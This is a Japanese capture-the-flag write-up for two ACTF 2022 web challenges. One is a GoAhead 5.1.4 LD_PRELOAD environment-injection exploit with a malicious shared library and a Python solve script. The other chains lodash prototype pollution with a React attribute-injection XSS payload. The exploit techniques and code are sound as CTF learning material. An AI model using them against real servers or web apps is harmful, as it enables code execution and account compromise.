6/25 - 6/27という日程で開催された。zer0ptsで参加して8位。
他のメンバーが書いたwrite-up:
[Web 145] gogogo (118 solves)
EmbedThis GoAhead 5.1.4上で以下のようなCGIスクリプトが動いている。それだけ。
#!/bin/bash echo -e "Content-Type: text/plain\n" echo -e "Welcome to ACTF!\n" env
GoAhead 5.1.4というバージョン番号にはめちゃくちゃ見覚えがある。pbctf 2021のAdvancementだ。これは0-day問で、multipart/form-data
でPOSTすると環境変数を自由に変更した上でCGIスクリプトを実行させられるというものだった。脆弱性の詳細はメンバーのKahlaさんがまとめられていたのでそちらを参照のこと。
今回はbashのスクリプトなので PYTHONWARNINGS
のような環境変数は使えない。ただ、 docker-compose.yml
で read_only: true
が指定されていないので、前回は使えなかったが今度はファイルのアップロードと組み合わせることで LD_PRELOAD
が使えるはずだ。
LD_PRELOAD
でアップロードしたファイルをロードさせるには、一時ファイルのパスを知る必要がある。幸いにもCGIスクリプトは env
で環境変数として一時ファイルのパスを教えてくれるし、ファイル名は /tmp/tmp-66.tmp
のように予測可能だ。
まず、LD_PRELOAD
でロードすると cat /flag
が実行されるライブラリを作成する。コンパイル後に strip
でわざわざシンボルを取り除いているのは、GoAheadの最大アップロードサイズに引っかからないようにするため。
// gcc -shared -fPIC evil.c -o evil.so; strip evil.so; ls -l evil.so #define _GNU_SOURCE #include <stdlib.h> #include <unistd.h> #include <sys/types.h> __attribute__ ((__constructor__)) void neko(void) { unsetenv("LD_PRELOAD"); system("cat /flag"); }
あとは適当なファイルをアップロードすることで、次にアップロードする一時ファイルのパスを推測し、evil.so
をアップロードしつつ LD_PRELOAD
でそれをロードさせるスクリプトを書く。
import re import requests URL = 'http://123.60.84.229:10218/cgi-bin/hello' r = requests.post(URL, files={'test': ('a.txt', 'test')}) x = re.findall(r'/tmp/tmp-(\d+).tmp', r.text)[0] next_path = '/tmp/tmp-{}.tmp'.format(int(x) + 3) with open('evil.so', 'rb') as so: r = requests.post(URL, files={ 'neko': so, }, data={ 'LD_PRELOAD': next_path }) print(r.text)
実行するとフラグが得られた。
$ python3 solve.py Welcome to ACTF! ACTF{s1mple_3nv_1nj3ct1on_and_w1sh_y0u_hav3_a_g00d_tim3_1n_ACTF2022}HTTP_ACCEPT_ENCODING=gzip, deflate SERVER_NAME=172.19.0.2 FILE_FILENAME_neko=/tmp/tmp-4.tmp …
ACTF{s1mple_3nv_1nj3ct1on_and_w1sh_y0u_hav3_a_g00d_tim3_1n_ACTF2022}
[Web 434] poorui (27 solves)
フロントエンドがReactな感じのチャットアプリと、そのソースコードが与えられる。フロントエンドはminifiedされたソースコードしか与えられない…のかと思いきや、ソースマップがついてきていてありがたい。
与えられたURLにアクセスしてユーザ名を入力すると、そのままサービスが利用できる。パスワードを入力する必要はないが、ユーザ名がすでに取得されているものである場合には弾かれる。
問題名の通り大変簡素なUIになっている。メッセージタイプには Text
, link
, image
, template
があり、それぞれ普通のテキスト、指定したURLへのリンク、指定したURLの画像、指定したテンプレートにメッセージがレンダリングされるやつ。
目標は admin
としてログインし、flagbot
というユーザと会話することだ。この admin
というユーザは以下のようなスクリプトで、定期的に自身に送られてきたメッセージを確認している。わざわざPuppeteerを使っているあたり、XSS問っぽい。
import puppeteer from "puppeteer"; const SERVER_URL = 'http://localhost:8081/chat'; const USERNAME = 'admin'; (async () => { const browser = await puppeteer.launch({ headless: process.env.DEBUG ?? true, args: ['--no-sandbox'] }); const page = await browser.newPage() await page.goto(SERVER_URL) await page.type('#username', USERNAME) await page.click('#btn-login') page.on('load', () => { console.log(page.url()) if(page.url() !== SERVER_URL){ setTimeout(async () => { await page.goto(SERVER_URL) await page.type('#username', USERNAME) await page.click('#btn-login') }, 3000); } }) })();
Prototype Pollutionを見つけるまで
脆弱性がないかフロントエンドのコードを眺めていたら、KahlaさんがLodashでPrototype Pollutionができそうという投稿をされた。
_.VERSION
でバージョンを確認してみると、確かに4.17.4と5年前にリリースされたもので古い。試しに _.merge({}, JSON.parse('{"__proto__":{"abc":123}}'))
してみると、({}).abc
に 123
が入っていた。Prototype Pollutionができるっぽい。
_.merge
を使っている箇所を探すと、js/components/ChatBox.js
というファイルで templateCompile
というテンプレートをレンダリングするためのメソッドが見つかった。ここで ctx
はユーザが自由に変更できる値で、それが lodash.merge
に渡っている。
templateCompile(tpl, ctx){ let attrs = {} // console.log(tpl) Array.from(tpl.matchAll(/{{\s*(\w+)\s*}}/g)).forEach(a => { attrs[a[1]] = 'unknown' }) lodash.merge(attrs, JSON.parse(ctx)) console.log(attrs) for(let k in attrs){ tpl = tpl.replaceAll(`{{${k}}}`, attrs[k]) } let out = <iframe title={this.state.tplCnt} sandbox="" srcDoc={tpl}> wow </iframe> return out }
ただ、このメソッドに渡ってくるまでに js/utils/util.js
の sanitize
という関数によって <
, >
, \
, _
の4つの記号が削除されてしまっている。__proto__
が使えないので、constructor.prototype
で代替する。
export const sanitize = (s) => { if(typeof s === 'string'){ return s.replaceAll(/<|>|\\|_/g, '') } if(typeof s === 'object'){ for(const [k, v] of Object.entries(s)){ s[k] = sanitize(v) } return s } return s }
{"constructor":{"prototype":{"abc":123}}}
というJSON付きの、メッセージタイプが template
であるメッセージを適当なユーザに送る。受信者のユーザで受信後に ({}).abc
を確認すると、123
が入っていた。Prototype Pollutionが成功したっぽい。
gadget探し その1
あとはgadgetを探すだけだが、なかなか見つからない。フロントエンドのコード内でなにかないか探していると、image
というメッセージタイプのメッセージの処理が見つかった。画像を表示するためには this.props.allowImage
と attrs.wow
がtruthyでなければならない。後者の attrs
は先程の ctx
と同様にユーザが自由に変更できる値だが、前者はそうでない。Prototype Pollutionの使いどころだ。
if(type === 'image'){ // console.log(this.props) const attrs = isJson(data.attrs) ? JSON.parse(data.attrs) : data.attrs if(this.props.allowImage && attrs.wow){ return <div style={{ backgroundImage: `url(${data.src})`, backgroundSize: "contain", backgroundRepeat: "no-repeat", // width: '100%', padding: '25%', height: 0, }} {...attrs}/> }else{ return <p className="warning-text">sorry, <code>allowImage</code> is false</p> } }
以下の手順で、送信先のユーザに強制的に画像を見せることができるようになった。
template
として{"constructor":{"prototype":{"allowImage":true}}}
を送信するimage
として{"wow":true}
を送信する
gadget探し その2
先程の画像を表示する処理のJSXをもう一度見てみる。なぜかスプレッド構文で div
にユーザから与えられた attrs
を展開している。onfocus
のような属性も付与できるのではないかと思ったが、残念ながらこのままではできない。とりあえず、まずはこれで好きな属性を付与できるかだけ確認する。
return <div style={{ backgroundImage: `url(${data.src})`, backgroundSize: "contain", backgroundRepeat: "no-repeat", // width: '100%', padding: '25%', height: 0, }} {...attrs}/>
先程の手順2で image
として送信するJSONを、{"wow":true}
から {"wow":true,"id":"test","class":"hoge"}
に変更する。そのまま送信して、受信者側から受け取ったメッセージのDOMを確認すると、次のように id
と class
がそれぞれ指定した値になっていることが確認できた。
なんとかこれをバイパスして、onfocus
なども含めた任意の属性を付与できないかいろいろ調べた。react prototype pollution ctf
とかやけくそな検索ワードで、redpwnCTF 2021のMdPwnという過去問のwriteupがヒットした。挑んで解けなかった記憶がある。いわく、is
というプロパティがあれば、属性名はチェックされないらしい。そんな。
とりあえず、次の手順で試してみる。
template
として{"constructor":{"prototype":{"allowImage":true,"is":"is"}}}
を送信するimage
として{"wow":true,"neko":"kawaii"}
を送信する
受信者側で手順2で送信されたメッセージのDOMを確認すると、wow
と neko
という属性が生えているのを確認できた。
あとはやるだけ感があるが、onfocus
+ autofocus
+ contenteditable
はなんかしらんけどうまくいかん、ほかの属性だと何が使えるのだろう…と悩んでいた。
またフロントエンドのコードを眺めていて、読み込まれている /static/css/main.c7f24255.css
というCSSファイル中で @keyframes App-logo-spin{…}
とキーフレームが定義されていることに気づく。これと onanimationend
を組み合わせればJSの実行に持ち込めるのではないか。
先程の手順2で送信するJSONを以下のものに変更する。
{ "wow": true, "onanimationend": "alert(123)", "style": { "animation-name": "App-logo-spin", "animation-duration": "0.1s", "transform": "rotate(45deg)", "background": "red", "width": "50px", "height": "50px" } }
受信者側で確認すると、アラートが表示されていた。
でも、リモートのadmin botくんが踏んでくれない。
つらい
なんじゃこりゃと思いつつ、admin botのコードを読み直す。そういえばユーザ名だけでログインできて、またサービスは定期的に再起動されるのだったと思い出す。admin botより先に admin
としてログインできればよいのではないか。
再起動のタイミングを狙って admin
としてログインする。flagbot
にメッセージを投げるとフラグが得られた。
ACTF{s0rry_for_4he_po0r_front3ndui:)_4FB89F0AAD0A}